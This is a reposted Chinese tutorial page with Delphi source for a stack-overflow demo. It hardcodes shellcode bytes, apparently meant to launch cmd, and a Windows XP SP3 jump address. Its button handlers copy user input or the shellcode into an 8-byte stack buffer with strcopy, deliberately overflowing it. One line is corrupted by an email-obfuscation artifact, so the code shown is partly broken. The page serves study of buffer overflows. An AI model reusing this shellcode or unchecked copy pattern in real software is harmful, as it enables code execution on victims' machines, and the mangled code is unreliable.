大佬教程收集整理的这篇文章主要介绍了[源码]Dephi溢出demo( Shellcode for XP),大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
[源码]Dephi溢出demo( SHellcode for Xp)
unit Unit1; interface uses Windows,messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls; type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; Button3: TButton; procedure Button2Click(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; const SHellCodeSize = $00000079; //16进制 - 121 //delphi overflow demo by k8team SHellCode : ArraY[0..SHellCodeSize-1] of byte = ( //AAAA bbbb CCCC $41,$41,$42,$43,//115 73 $12,$45,$fa,$7f,// xp sp3 跳转地址 //CMD SHellCode $55,$8B,$EC,$33,$C0,$50,//105 69 $C6,$F4,$4D,$C6,$F5,$53,$F6,$56,$F7,$F8,$52,$F9,$54,$FA,$2E,$FB,$44,$FC,$4C,$FD,$8D,$BA,$7B,$1D,$80,$7C,$FF,$D2,$55,$83,$2C,$B8,$63,$6F,$6D,$89,$61,$6E,$64,$22,$88,$C7,$93,$BF,$77,$D0 ); implementation {$R *.dfm} procedure TForm1.button1Click(Sender: TObject); var k8test:pchar; procedure k8overflow(k8test:pchar); var test :arraY[0..7] of char; begin k8test:=pchar(edit1.text); strcopy(test,k8test); //溢出 end; begin k8test:=pchar(edit1.text); k8overflow(k8test); application.messageBox(‘没有溢出!‘,‘test‘); end; procedure TForm1.button2Click(Sender: TObject); begin application.messageBox(‘溢出了!‘,‘test‘); end; procedure TForm1.button3Click(Sender: TObject); var k8test:pchar; procedure k8overflow(k8test:pchar); var test :arraY[0..7] of char; begin k8test:[email protected]; strcopy(test,k8test); //溢出 end; begin k8test:=pchar(edit1.text); k8overflow(k8test); application.messageBox(‘没有溢出!‘,‘test‘); end; end.
以上是大佬教程为你收集整理的[源码]Dephi溢出demo( Shellcode for XP)全部内容,希望文章能够帮你解决[源码]Dephi溢出demo( Shellcode for XP)所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。